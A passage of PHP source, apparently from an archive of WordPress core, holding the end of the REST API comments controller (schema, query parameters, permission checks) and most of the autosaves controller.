			$post_route = rest_get_route_for_post( $post );

			if ( ! empty( $post->ID ) && $post_route ) {
				$links['up'] = array(
					'href'       => rest_url( $post_route ),
					'embeddable' => true,
					'post_type'  => $post->post_type,
				);
			}
		}

		if ( 0 !== (int) $comment->comment_parent ) {
			$links['in-reply-to'] = array(
				'href'       => rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $comment->comment_parent ) ),
				'embeddable' => true,
			);
		}

		// Only grab one comment to verify the comment has children.
		$comment_children = $comment->get_children(
			array(
				'count'   => true,
				'orderby' => 'none',
			)
		);

		if ( ! empty( $comment_children ) ) {
			$args = array(
				'parent' => $comment->comment_ID,
			);

			$rest_url = add_query_arg( $args, rest_url( $this->namespace . '/' . $this->rest_base ) );

			$links['children'] = array(
				'href'       => $rest_url,
				'embeddable' => true,
			);
		}

		return $links;
	}

	/**
	 * Prepends internal property prefix to query parameters to match our response fields.
	 *
	 * @since 4.7.0
	 *
	 * @param string $query_param Query parameter.
	 * @return string The normalized query parameter.
	 */
	protected function normalize_query_param( $query_param ) {
		$prefix = 'comment_';

		switch ( $query_param ) {
			case 'id':
				$normalized = $prefix . 'ID';
				break;
			case 'post':
				$normalized = $prefix . 'post_ID';
				break;
			case 'parent':
				$normalized = $prefix . 'parent';
				break;
			case 'include':
				$normalized = 'comment__in';
				break;
			default:
				$normalized = $prefix . $query_param;
				break;
		}

		return $normalized;
	}

	/**
	 * Checks comment_approved to set comment status for single comment output.
	 *
	 * @since 4.7.0
	 *
	 * @param string $comment_approved Comment status.
	 * @return string Comment status.
	 */
	protected function prepare_status_response( $comment_approved ) {

		switch ( $comment_approved ) {
			case 'hold':
			case '0':
				$status = 'hold';
				break;

			case 'approve':
			case '1':
				$status = 'approved';
				break;

			case 'spam':
			case 'trash':
			default:
				$status = $comment_approved;
				break;
		}

		return $status;
	}

	/**
	 * Prepares a single comment to be inserted into the database.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return array|WP_Error Prepared comment, otherwise WP_Error object.
	 */
	protected function prepare_item_for_database( $request ) {
		$prepared_comment = array();

		/*
		 * Allow the comment_content to be set via the 'content' or
		 * the 'content.raw' properties of the Request object.
		 */
		if ( isset( $request['content'] ) && is_string( $request['content'] ) ) {
			$prepared_comment['comment_content'] = trim( $request['content'] );
		} elseif ( isset( $request['content']['raw'] ) && is_string( $request['content']['raw'] ) ) {
			$prepared_comment['comment_content'] = trim( $request['content']['raw'] );
		}

		if ( isset( $request['post'] ) ) {
			$prepared_comment['comment_post_ID'] = (int) $request['post'];
		}

		if ( isset( $request['parent'] ) ) {
			$prepared_comment['comment_parent'] = $request['parent'];
		}

		if ( isset( $request['author'] ) ) {
			$user = new WP_User( $request['author'] );

			if ( $user->exists() ) {
				$prepared_comment['user_id']              = $user->ID;
				$prepared_comment['comment_author']       = $user->display_name;
				$prepared_comment['comment_author_email'] = $user->user_email;
				$prepared_comment['comment_author_url']   = $user->user_url;
			} else {
				return new WP_Error(
					'rest_comment_author_invalid',
					__( 'Invalid comment author ID.' ),
					array( 'status' => 400 )
				);
			}
		}

		if ( isset( $request['author_name'] ) ) {
			$prepared_comment['comment_author'] = $request['author_name'];
		}

		if ( isset( $request['author_email'] ) ) {
			$prepared_comment['comment_author_email'] = $request['author_email'];
		}

		if ( isset( $request['author_url'] ) ) {
			$prepared_comment['comment_author_url'] = $request['author_url'];
		}

		if ( isset( $request['author_ip'] ) && current_user_can( 'moderate_comments' ) ) {
			$prepared_comment['comment_author_IP'] = $request['author_ip'];
		} elseif ( ! empty( $_SERVER['REMOTE_ADDR'] ) && rest_is_ip_address( $_SERVER['REMOTE_ADDR'] ) ) {
			$prepared_comment['comment_author_IP'] = $_SERVER['REMOTE_ADDR'];
		} else {
			$prepared_comment['comment_author_IP'] = '127.0.0.1';
		}

		if ( ! empty( $request['author_user_agent'] ) ) {
			$prepared_comment['comment_agent'] = $request['author_user_agent'];
		} elseif ( $request->get_header( 'user_agent' ) ) {
			$prepared_comment['comment_agent'] = $request->get_header( 'user_agent' );
		}

		if ( ! empty( $request['date'] ) ) {
			$date_data = rest_get_date_with_gmt( $request['date'] );

			if ( ! empty( $date_data ) ) {
				list( $prepared_comment['comment_date'], $prepared_comment['comment_date_gmt'] ) = $date_data;
			}
		} elseif ( ! empty( $request['date_gmt'] ) ) {
			$date_data = rest_get_date_with_gmt( $request['date_gmt'], true );

			if ( ! empty( $date_data ) ) {
				list( $prepared_comment['comment_date'], $prepared_comment['comment_date_gmt'] ) = $date_data;
			}
		}

		/**
		 * Filters a comment added via the REST API after it is prepared for insertion into the database.
		 *
		 * Allows modification of the comment right after it is prepared for the database.
		 *
		 * @since 4.7.0
		 *
		 * @param array           $prepared_comment The prepared comment data for `wp_insert_comment`.
		 * @param WP_REST_Request $request          The current request.
		 */
		return apply_filters( 'rest_preprocess_comment', $prepared_comment, $request );
	}

	/**
	 * Retrieves the comment's schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'comment',
			'type'       => 'object',
			'properties' => array(
				'id'                => array(
					'description' => __( 'Unique identifier for the comment.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'author'            => array(
					'description' => __( 'The ID of the user object, if author was a user.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'author_email'      => array(
					'description' => __( 'Email address for the comment author.' ),
					'type'        => 'string',
					'format'      => 'email',
					'context'     => array( 'edit' ),
					'arg_options' => array(
						'sanitize_callback' => array( $this, 'check_comment_author_email' ),
						'validate_callback' => null, // Skip built-in validation of 'email'.
					),
				),
				'author_ip'         => array(
					'description' => __( 'IP address for the comment author.' ),
					'type'        => 'string',
					'format'      => 'ip',
					'context'     => array( 'edit' ),
				),
				'author_name'       => array(
					'description' => __( 'Display name for the comment author.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'arg_options' => array(
						'sanitize_callback' => 'sanitize_text_field',
					),
				),
				'author_url'        => array(
					'description' => __( 'URL for the comment author.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'author_user_agent' => array(
					'description' => __( 'User agent for the comment author.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
					'arg_options' => array(
						'sanitize_callback' => 'sanitize_text_field',
					),
				),
				'content'           => array(
					'description' => __( 'The content for the comment.' ),
					'type'        => 'object',
					'context'     => array( 'view', 'edit', 'embed' ),
					'arg_options' => array(
						'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database().
						'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database().
					),
					'properties'  => array(
						'raw'      => array(
							'description' => __( 'Content for the comment, as it exists in the database.' ),
							'type'        => 'string',
							'context'     => array( 'edit' ),
						),
						'rendered' => array(
							'description' => __( 'HTML content for the comment, transformed for display.' ),
							'type'        => 'string',
							'context'     => array( 'view', 'edit', 'embed' ),
							'readonly'    => true,
						),
					),
				),
				'date'              => array(
					'description' => __( "The date the comment was published, in the site's timezone." ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'date_gmt'          => array(
					'description' => __( 'The date the comment was published, as GMT.' ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
				),
				'link'              => array(
					'description' => __( 'URL to the comment.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'parent'            => array(
					'description' => __( 'The ID for the parent of the comment.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
					'default'     => 0,
				),
				'post'              => array(
					'description' => __( 'The ID of the associated post object.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit' ),
					'default'     => 0,
				),
				'status'            => array(
					'description' => __( 'State of the comment.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit' ),
					'arg_options' => array(
						'sanitize_callback' => 'sanitize_key',
					),
				),
				'type'              => array(
					'description' => __( 'Type of the comment.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
			),
		);

		if ( get_option( 'show_avatars' ) ) {
			$avatar_properties = array();

			$avatar_sizes = rest_get_avatar_sizes();

			foreach ( $avatar_sizes as $size ) {
				$avatar_properties[ $size ] = array(
					/* translators: %d: Avatar image size in pixels. */
					'description' => sprintf( __( 'Avatar URL with image size of %d pixels.' ), $size ),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'embed', 'view', 'edit' ),
				);
			}

			$schema['properties']['author_avatar_urls'] = array(
				'description' => __( 'Avatar URLs for the comment author.' ),
				'type'        => 'object',
				'context'     => array( 'view', 'edit', 'embed' ),
				'readonly'    => true,
				'properties'  => $avatar_properties,
			);
		}

		$schema['properties']['meta'] = $this->meta->get_field_schema();

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 4.7.0
	 *
	 * @return array Comments collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		$query_params['context']['default'] = 'view';

		$query_params['after'] = array(
			'description' => __( 'Limit response to comments published after a given ISO8601 compliant date.' ),
			'type'        => 'string',
			'format'      => 'date-time',
		);

		$query_params['author'] = array(
			'description' => __( 'Limit result set to comments assigned to specific user IDs. Requires authorization.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
		);

		$query_params['author_exclude'] = array(
			'description' => __( 'Ensure result set excludes comments assigned to specific user IDs. Requires authorization.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
		);

		$query_params['author_email'] = array(
			'default'     => null,
			'description' => __( 'Limit result set to that from a specific author email. Requires authorization.' ),
			'format'      => 'email',
			'type'        => 'string',
		);

		$query_params['before'] = array(
			'description' => __( 'Limit response to comments published before a given ISO8601 compliant date.' ),
			'type'        => 'string',
			'format'      => 'date-time',
		);

		$query_params['exclude'] = array(
			'description' => __( 'Ensure result set excludes specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		$query_params['include'] = array(
			'description' => __( 'Limit result set to specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		$query_params['offset'] = array(
			'description' => __( 'Offset the result set by a specific number of items.' ),
			'type'        => 'integer',
		);

		$query_params['order'] = array(
			'description' => __( 'Order sort attribute ascending or descending.' ),
			'type'        => 'string',
			'default'     => 'desc',
			'enum'        => array(
				'asc',
				'desc',
			),
		);

		$query_params['orderby'] = array(
			'description' => __( 'Sort collection by comment attribute.' ),
			'type'        => 'string',
			'default'     => 'date_gmt',
			'enum'        => array(
				'date',
				'date_gmt',
				'id',
				'include',
				'post',
				'parent',
				'type',
			),
		);

		$query_params['parent'] = array(
			'default'     => array(),
			'description' => __( 'Limit result set to comments of specific parent IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
		);

		$query_params['parent_exclude'] = array(
			'default'     => array(),
			'description' => __( 'Ensure result set excludes specific parent IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
		);

		$query_params['post'] = array(
			'default'     => array(),
			'description' => __( 'Limit result set to comments assigned to specific post IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
		);

		$query_params['status'] = array(
			'default'           => 'approve',
			'description'       => __( 'Limit result set to comments assigned a specific status. Requires authorization.' ),
			'sanitize_callback' => 'sanitize_key',
			'type'              => 'string',
			'validate_callback' => 'rest_validate_request_arg',
		);

		$query_params['type'] = array(
			'default'           => 'comment',
			'description'       => __( 'Limit result set to comments assigned a specific type. Requires authorization.' ),
			'sanitize_callback' => 'sanitize_key',
			'type'              => 'string',
			'validate_callback' => 'rest_validate_request_arg',
		);

		$query_params['password'] = array(
			'description' => __( 'The password for the post if it is password protected.' ),
			'type'        => 'string',
		);

		/**
		 * Filters REST API collection parameters for the comments controller.
		 *
		 * This filter registers the collection parameter, but does not map the
		 * collection parameter to an internal WP_Comment_Query parameter. Use the
		 * `rest_comment_query` filter to set WP_Comment_Query parameters.
		 *
		 * @since 4.7.0
		 *
		 * @param array $query_params JSON Schema-formatted collection parameters.
		 */
		return apply_filters( 'rest_comment_collection_params', $query_params );
	}

	/**
	 * Sets the comment_status of a given comment object when creating or updating a comment.
	 *
	 * @since 4.7.0
	 *
	 * @param string|int $new_status New comment status.
	 * @param int        $comment_id Comment ID.
	 * @return bool Whether the status was changed.
	 */
	protected function handle_status_param( $new_status, $comment_id ) {
		$old_status = wp_get_comment_status( $comment_id );

		if ( $new_status === $old_status ) {
			return false;
		}

		switch ( $new_status ) {
			case 'approved':
			case 'approve':
			case '1':
				$changed = wp_set_comment_status( $comment_id, 'approve' );
				break;
			case 'hold':
			case '0':
				$changed = wp_set_comment_status( $comment_id, 'hold' );
				break;
			case 'spam':
				$changed = wp_spam_comment( $comment_id );
				break;
			case 'unspam':
				$changed = wp_unspam_comment( $comment_id );
				break;
			case 'trash':
				$changed = wp_trash_comment( $comment_id );
				break;
			case 'untrash':
				$changed = wp_untrash_comment( $comment_id );
				break;
			default:
				$changed = false;
				break;
		}

		return $changed;
	}

	/**
	 * Checks if the post can be read.
	 *
	 * Correctly handles posts with the inherit status.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Post         $post    Post object.
	 * @param WP_REST_Request $request Request data to check.
	 * @return bool Whether post can be read.
	 */
	protected function check_read_post_permission( $post, $request ) {
		$post_type = get_post_type_object( $post->post_type );

		// Return false if custom post type doesn't exist
		if ( ! $post_type ) {
			return false;
		}

		$posts_controller = $post_type->get_rest_controller();

		/*
		 * Ensure the posts controller is specifically a WP_REST_Posts_Controller instance
		 * before using methods specific to that controller.
		 */
		if ( ! $posts_controller instanceof WP_REST_Posts_Controller ) {
			$posts_controller = new WP_REST_Posts_Controller( $post->post_type );
		}

		$has_password_filter = false;

		// Only check password if a specific post was queried for or a single comment
		$requested_post    = ! empty( $request['post'] ) && ( ! is_array( $request['post'] ) || 1 === count( $request['post'] ) );
		$requested_comment = ! empty( $request['id'] );
		if ( ( $requested_post || $requested_comment ) && $posts_controller->can_access_password_content( $post, $request ) ) {
			add_filter( 'post_password_required', '__return_false' );

			$has_password_filter = true;
		}

		if ( post_password_required( $post ) ) {
			$result = current_user_can( 'edit_post', $post->ID );
		} else {
			$result = $posts_controller->check_read_permission( $post );
		}

		if ( $has_password_filter ) {
			remove_filter( 'post_password_required', '__return_false' );
		}

		return $result;
	}

	/**
	 * Checks if the comment can be read.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Comment      $comment Comment object.
	 * @param WP_REST_Request $request Request data to check.
	 * @return bool Whether the comment can be read.
	 */
	protected function check_read_permission( $comment, $request ) {
		if ( ! empty( $comment->comment_post_ID ) ) {
			$post = get_post( $comment->comment_post_ID );
			if ( $post ) {
				if ( $this->check_read_post_permission( $post, $request ) && 1 === (int) $comment->comment_approved ) {
					return true;
				}
			}
		}

		if ( 0 === get_current_user_id() ) {
			return false;
		}

		if ( empty( $comment->comment_post_ID ) && ! current_user_can( 'moderate_comments' ) ) {
			return false;
		}

		if ( ! empty( $comment->user_id ) && get_current_user_id() === (int) $comment->user_id ) {
			return true;
		}

		return current_user_can( 'edit_comment', $comment->comment_ID );
	}

	/**
	 * Checks if a comment can be edited or deleted.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Comment $comment Comment object.
	 * @return bool Whether the comment can be edited or deleted.
	 */
	protected function check_edit_permission( $comment ) {
		if ( 0 === (int) get_current_user_id() ) {
			return false;
		}

		if ( current_user_can( 'moderate_comments' ) ) {
			return true;
		}

		return current_user_can( 'edit_comment', $comment->comment_ID );
	}

	/**
	 * Checks a comment author email for validity.
	 *
	 * Accepts either a valid email address or empty string as a valid comment
	 * author email address. Setting the comment author email to an empty
	 * string is allowed when a comment is being updated.
	 *
	 * @since 4.7.0
	 *
	 * @param string          $value   Author email value submitted.
	 * @param WP_REST_Request $request Full details about the request.
	 * @param string          $param   The parameter name.
	 * @return string|WP_Error The sanitized email address, if valid,
	 *                         otherwise an error.
	 */
	public function check_comment_author_email( $value, $request, $param ) {
		$email = (string) $value;
		if ( empty( $email ) ) {
			return $email;
		}

		$check_email = rest_validate_request_arg( $email, $request, $param );
		if ( is_wp_error( $check_email ) ) {
			return $check_email;
		}

		return $email;
	}

	/**
	 * If empty comments are not allowed, checks if the provided comment content is not empty.
	 *
	 * @since 5.6.0
	 *
	 * @param array $prepared_comment The prepared comment data.
	 * @return bool True if the content is allowed, false otherwise.
	 */
	protected function check_is_comment_content_allowed( $prepared_comment ) {
		$check = wp_parse_args(
			$prepared_comment,
			array(
				'comment_post_ID'      => 0,
				'comment_author'       => null,
				'comment_author_email' => null,
				'comment_author_url'   => null,
				'comment_parent'       => 0,
				'user_id'              => 0,
			)
		);

		/** This filter is documented in wp-includes/comment.php */
		$allow_empty = apply_filters( 'allow_empty_comment', false, $check );

		if ( $allow_empty ) {
			return true;
		}

		/*
		 * Do not allow a comment to be created with missing or empty
		 * comment_content. See wp_handle_comment_submission().
		 */
		return '' !== $check['comment_content'];
	}
}
endpoints/class-wp-rest-autosaves-controller.php000064400000035606151024200430016156 0ustar00<?php
/**
 * REST API: WP_REST_Autosaves_Controller class.
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.0.0
 */

/**
 * Core class used to access autosaves via the REST API.
 *
 * @since 5.0.0
 *
 * @see WP_REST_Revisions_Controller
 * @see WP_REST_Controller
 */
class WP_REST_Autosaves_Controller extends WP_REST_Revisions_Controller {

	/**
	 * Parent post type.
	 *
	 * @since 5.0.0
	 * @var string
	 */
	private $parent_post_type;

	/**
	 * Parent post controller.
	 *
	 * @since 5.0.0
	 * @var WP_REST_Controller
	 */
	private $parent_controller;

	/**
	 * Revision controller.
	 *
	 * @since 5.0.0
	 * @var WP_REST_Revisions_Controller
	 */
	private $revisions_controller;

	/**
	 * The base of the parent controller's route.
	 *
	 * @since 5.0.0
	 * @var string
	 */
	private $parent_base;

	/**
	 * Constructor.
	 *
	 * @since 5.0.0
	 *
	 * @param string $parent_post_type Post type of the parent.
	 */
	public function __construct( $parent_post_type ) {
		$this->parent_post_type = $parent_post_type;
		$post_type_object       = get_post_type_object( $parent_post_type );
		$parent_controller      = $post_type_object->get_rest_controller();

		if ( ! $parent_controller ) {
			$parent_controller = new WP_REST_Posts_Controller( $parent_post_type );
		}

		$this->parent_controller = $parent_controller;

		$revisions_controller = $post_type_object->get_revisions_rest_controller();
		if ( ! $revisions_controller ) {
			$revisions_controller = new WP_REST_Revisions_Controller( $parent_post_type );
		}
		$this->revisions_controller = $revisions_controller;
		$this->rest_base            = 'autosaves';
		$this->parent_base          = ! empty( $post_type_object->rest_base ) ? $post_type_object->rest_base : $post_type_object->name;
		$this->namespace            = ! empty( $post_type_object->rest_namespace ) ? $post_type_object->rest_namespace : 'wp/v2';
	}

	/**
	 * Registers the routes for autosaves.
	 *
	 * @since 5.0.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->parent_base . '/(?P<id>[\d]+)/' . $this->rest_base,
			array(
				'args'   => array(
					'parent' => array(
						'description' => __( 'The ID for the parent of the autosave.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'create_item' ),
					'permission_callback' => array( $this, 'create_item_permissions_check' ),
					'args'                => $this->parent_controller->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->parent_base . '/(?P<parent>[\d]+)/' . $this->rest_base . '/(?P<id>[\d]+)',
			array(
				'args'   => array(
					'parent' => array(
						'description' => __( 'The ID for the parent of the autosave.' ),
						'type'        => 'integer',
					),
					'id'     => array(
						'description' => __( 'The ID for the autosave.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this->revisions_controller, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Get the parent post.
	 *
	 * @since 5.0.0
	 *
	 * @param int $parent_id Supplied ID.
	 * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise.
	 */
	protected function get_parent( $parent_id ) {
		return $this->revisions_controller->get_parent( $parent_id );
	}

	/**
	 * Checks if a given request has access to get autosaves.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		$parent = $this->get_parent( $request['id'] );
		if ( is_wp_error( $parent ) ) {
			return $parent;
		}

		if ( ! current_user_can( 'edit_post', $parent->ID ) ) {
			return new WP_Error(
				'rest_cannot_read',
				__( 'Sorry, you are not allowed to view autosaves of this post.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Checks if a given request has access to create an autosave revision.
	 *
	 * Autosave revisions inherit permissions from the parent post,
	 * check if the current user has permission to edit the post.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to create the item, WP_Error object otherwise.
	 */
	public function create_item_permissions_check( $request ) {
		$id = $request->get_param( 'id' );

		if ( empty( $id ) ) {
			return new WP_Error(
				'rest_post_invalid_id',
				__( 'Invalid item ID.' ),
				array( 'status' => 404 )
			);
		}

		return $this->parent_controller->update_item_permissions_check( $request );
	}

	/**
	 * Creates, updates or deletes an autosave revision.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {

		if ( ! defined( 'WP_RUN_CORE_TESTS' ) && ! defined( 'DOING_AUTOSAVE' ) ) {
			define( 'DOING_AUTOSAVE', true );
		}

		$post = $this->get_parent( $request['id'] );

		if ( is_wp_error( $post ) ) {
			return $post;
		}

		$prepared_post     = $this->parent_controller->prepare_item_for_database( $request );
		$prepared_post->ID = $post->ID;
		$user_id           = get_current_user_id();

		// We need to check post lock to ensure the original author didn't leave their browser tab open.
		if ( ! function_exists( 'wp_check_post_lock' ) ) {
			require_once ABSPATH . 'wp-admin/includes/post.php';
		}

		$post_lock = wp_check_post_lock( $post->ID );
		$is_draft  = 'draft' === $post->post_status || 'auto-draft' === $post->post_status;

		if ( $is_draft && (int) $post->post_author === $user_id && ! $post_lock ) {
			/*
			 * Draft posts for the same author: autosaving updates the post and does not create a revision.
			 * Convert the post object to an array and add slashes, wp_update_post() expects escaped array.
			 */
			$autosave_id = wp_update_post( wp_slash( (array) $prepared_post ), true );
		} else {
			// Non-draft posts: create or update the post autosave. Pass the meta data.
			$autosave_id = $this->create_post_autosave( (array) $prepared_post, (array) $request->get_param( 'meta' ) );
		}

		if ( is_wp_error( $autosave_id ) ) {
			return $autosave_id;
		}

		$autosave = get_post( $autosave_id );
		$request->set_param( 'context', 'edit' );

		$response = $this->prepare_item_for_response( $autosave, $request );
		$response = rest_ensure_response( $response );

		return $response;
	}

	/**
	 * Get the autosave, if the ID is valid.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_Post|WP_Error Revision post object if ID is valid, WP_Error otherwise.
	 */
	public function get_item( $request ) {
		$parent_id = (int) $request->get_param( 'parent' );

		if ( $parent_id <= 0 ) {
			return new WP_Error(
				'rest_post_invalid_id',
				__( 'Invalid post parent ID.' ),
				array( 'status' => 404 )
			);
		}

		$autosave = wp_get_post_autosave( $parent_id );

		if ( ! $autosave ) {
			return new WP_Error(
				'rest_post_no_autosave',
				__( 'There is no autosave revision for this post.' ),
				array( 'status' => 404 )
			);
		}

		$response = $this->prepare_item_for_response( $autosave, $request );
		return $response;
	}

	/**
	 * Gets a collection of autosaves using wp_get_post_autosave.
	 *
	 * Contains the user's autosave, for empty if it doesn't exist.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$parent = $this->get_parent( $request['id'] );
		if ( is_wp_error( $parent ) ) {
			return $parent;
		}

		if ( $request->is_method( 'HEAD' ) ) {
			// Return early as this handler doesn't add any response headers.
			return new WP_REST_Response( array() );
		}
		$response  = array();
		$parent_id = $parent->ID;
		$revisions = wp_get_post_revisions( $parent_id, array( 'check_enabled' => false ) );

		foreach ( $revisions as $revision ) {
			if ( str_contains( $revision->post_name, "{$parent_id}-autosave" ) ) {
				$data       = $this->prepare_item_for_response( $revision, $request );
				$response[] = $this->prepare_response_for_collection( $data );
			}
		}

		return rest_ensure_response( $response );
	}


	/**
	 * Retrieves the autosave's schema, conforming to JSON Schema.
	 *
	 * @since 5.0.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = $this->revisions_controller->get_item_schema();

		$schema['properties']['preview_link'] = array(
			'description' => __( 'Preview link for the post.' ),
			'type'        => 'string',
			'format'      => 'uri',
			'context'     => array( 'edit' ),
			'readonly'    => true,
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Creates autosave for the specified post.
	 *
	 * From wp-admin/post.php.
	 *
	 * @since 5.0.0
	 * @since 6.4.0 The `$meta` parameter was added.
	 *
	 * @param array $post_data Associative array containing the post data.
	 * @param array $meta      Associative array containing the post meta data.
	 * @return mixed The autosave revision ID or WP_Error.
	 */
	public function create_post_autosave( $post_data, array $meta = array() ) {

		$post_id = (int) $post_data['ID'];
		$post    = get_post( $post_id );

		if ( is_wp_error( $post ) ) {
			return $post;
		}

		// Only create an autosave when it is different from the saved post.
		$autosave_is_different = false;
		$new_autosave          = _wp_post_revision_data( $post_data, true );

		foreach ( array_intersect( array_keys( $new_autosave ), array_keys( _wp_post_revision_fields( $post ) ) ) as $field ) {
			if ( normalize_whitespace( $new_autosave[ $field ] ) !== normalize_whitespace( $post->$field ) ) {
				$autosave_is_different = true;
				break;
			}
		}

		// Check if meta values have changed.
		if ( ! empty( $meta ) ) {
			$revisioned_meta_keys = wp_post_revision_meta_keys( $post->post_type );
			foreach ( $revisioned_meta_keys as $meta_key ) {
				// get_metadata_raw is used to avoid retrieving the default value.
				$old_meta = get_metadata_raw( 'post', $post_id, $meta_key, true );
				$new_meta = isset( $meta[ $meta_key ] ) ? $meta[ $meta_key ] : '';

				if ( $new_meta !== $old_meta ) {
					$autosave_is_different = true;
					break;
				}
			}
		}

		$user_id = get_current_user_id();

		// Store one autosave per author. If there is already an autosave, overwrite it.
		$old_autosave = wp_get_post_autosave( $post_id, $user_id );

		if ( ! $autosave_is_different && $old_autosave ) {
			// Nothing to save, return the existing autosave.
			return $old_autosave->ID;
		}

		if ( $old_autosave ) {
			$new_autosave['ID']          = $old_autosave->ID;
			$new_autosave['post_author'] = $user_id;

			/** This filter is documented in wp-admin/post.php */
			do_action( 'wp_creating_autosave', $new_autosave );

			// wp_update_post() expects escaped array.
			$revision_id = wp_update_post( wp_slash( $new_autosave ) );
		} else {
			// Create the new autosave as a special post revision.
			$revision_id = _wp_put_post_revision( $post_data, true );
		}

		if ( is_wp_error( $revision_id ) || 0 === $revision_id ) {
			return $revision_id;
		}

		// Attached any passed meta values that have revisions enabled.
		if ( ! empty( $meta ) ) {
			foreach ( $revisioned_meta_keys as $meta_key ) {
				if ( isset( $meta[ $meta_key ] ) ) {
					update_metadata( 'post', $revision_id, $meta_key, wp_slash( $meta[ $meta_key ] ) );
				}
			}
		}

		return $revision_id;
	}

	/**
	 * Prepares the revision for the REST response.
	 *
	 * @since 5.0.0
	 * @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Post         $item    Post revision object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$post = $item;

		// Don't prepare the response body for HEAD requests.
		if ( $request->is_method( 'HEAD' ) ) {
			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php */
			return apply_filters( 'rest_prepare_autosave', new WP_REST_Response( array() ), $post, $request );
		}
		$response = $this->revisions_controller->prepare_item_for_response( $post, $request );
		$fields   = $this->get_fields_for_response( $request );

		if ( in_array( 'preview_link', $fields, true ) ) {
			$parent_id          = wp_is_post_autosave( $post );
			$preview_post_id    = false === $parent_id ? $post->ID : $parent_id;
			$preview_query_args = array();

			if ( false !== $parent_id ) {
				$preview_query_args['preview_id']    = $parent_id;
				$preview_query_args['preview_nonce'] = wp_create_nonce( 'post_preview_' . $parent_id );
			}

			$response->data['preview_link'] = get_preview_post_link( $preview_post_id, $preview_query_args );
		}

